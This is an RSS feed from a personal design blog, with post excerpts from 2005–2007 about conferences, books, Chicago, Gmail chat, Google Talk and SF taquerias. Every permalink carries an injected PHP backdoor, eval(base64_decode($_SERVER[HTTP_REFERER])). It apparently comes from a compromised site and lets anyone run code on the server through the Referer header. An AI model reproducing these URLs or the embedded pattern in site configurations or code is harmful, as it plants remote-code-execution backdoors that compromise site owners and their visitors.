http://www.brightlycoloredfood.com Thu, 19 Apr 2007 05:04:05 +0000 http://backend.userland.com/rss092 en First time. Dan seems to know what the cool kids are up to. Email me if you wanna meet up — chad at this domain. http://www.brightlycoloredfood.com/2007/03/07/at-sxsw/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ An excellent list of book recommendations from Adam Richardson to add to my books category. It's not on his list of recommendations, but his recent review of War Made New is also worth reading. http://www.brightlycoloredfood.com/2007/03/05/more-good-books/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Order a Viva Le France (spiced hot chocolate) at Filter. Sit and compare the peculiarities of their hipster clientele to that of your own neighborhood coffeeshop. Visit U.S.#1. Admire the vintage western shirts and boots, but instead get the leather jacket — your wardrobe already has more snaps than buttons. Besides, ... http://www.brightlycoloredfood.com/2006/11/10/5-things-to-do-next-time-you%e2%80%99re-in-chicago/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Doing a very quick redesign after six years of the same. With any luck the dust will be settled in a week or so. Thanks. http://www.brightlycoloredfood.com/2006/10/28/redesigning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Finally another one of my projects goes public: instant messaging in Gmail. Here's some official coverage from the Google Blog and the Talk Blog. And here are a few blog posts that review the new feature in-depth — most of the press articles were cursory. As always, credit where it's due. ... http://www.brightlycoloredfood.com/2006/02/08/chat-email-crazy-delicious/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'll be at the DUX conference for the next couple days. If you're there, look for me or drop me an email and we'll meet up. http://www.brightlycoloredfood.com/2005/11/03/say-hey-if-youre-at-dux/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Jeff Howard, a recent CMU Interaction Design alumna and friend, just put together a set of Amazon Listmania booklists that cover the primary readings for the graduate program, along with a couple of selected courses. They're all good, but I especially recommend the Graduate Design Seminar and Design Management lists. ... http://www.brightlycoloredfood.com/2005/09/20/cmu-design-listmania/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Designers rarely get to work on their dream projects. When I was researching instant messaging in grad school, the prospect of designing a new instant messaging product was fanciful at best. When I came to Google, the odds improved a bit. When I became the designer on Google Talk, it ... http://www.brightlycoloredfood.com/2005/08/24/google-talk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Guilty admission: I can't remember which of the Google founders is which. Terrible, I know, but true. Ever refer to a person by the wrong name? What a faux pas. I almost did it yesterday. I was in a meeting with both of them. Me, them, and just a couple ... http://www.brightlycoloredfood.com/2005/07/29/larry-or-sergey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Oh how this city makes me proud. Burritoeater.com aims to be the Web's most complete source of information on San Francisco taquerias - where they're located, what they look like, if they're open late, whether they serve breakfast, what the SF Department of Public Health says about them, which ones double ... http://www.brightlycoloredfood.com/2005/07/12/eater-of-burritos/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/